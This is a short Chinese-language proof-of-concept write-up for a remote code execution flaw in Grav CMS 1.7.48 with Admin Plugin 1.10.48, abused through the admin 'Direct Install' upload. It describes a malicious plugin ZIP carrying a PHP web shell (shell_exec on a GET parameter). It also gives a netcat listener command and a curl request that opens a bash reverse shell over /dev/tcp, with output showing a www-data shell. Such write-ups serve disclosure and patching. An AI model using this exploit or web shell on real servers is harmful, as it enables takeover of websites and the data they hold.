
Grav CMS v1.7.48 配合 Admin Plugin v1.10.48 存在通过“Direct Install”插件上传功能触发的**远程代码执行(RCE)**漏洞,允许已认证的管理员在服务器上执行任意 PHP 代码。
/admin/tools/direct-install(管理面板 > 工具 > 直接安装)准备一个监听器:
nc -lvnp 4444
以管理员身份登录 Grav 管理面板。
导航至 Tools > Direct Install。
上传一个构造如下结构的恶意插件 ZIP(evilplugin.zip):
evilplugin/
├── evilplugin.php ← contains: shell_exec($_GET['cmd'])
└── blueprints.yaml ← minimal blueprint to pass validation
触发反弹 Shell:
curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
收到反弹 Shell:
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on <target-ip>
www-data@target:/var/www/html$ whoami
www-data
/admin/tools/direct-install仅供教育和防御目的使用。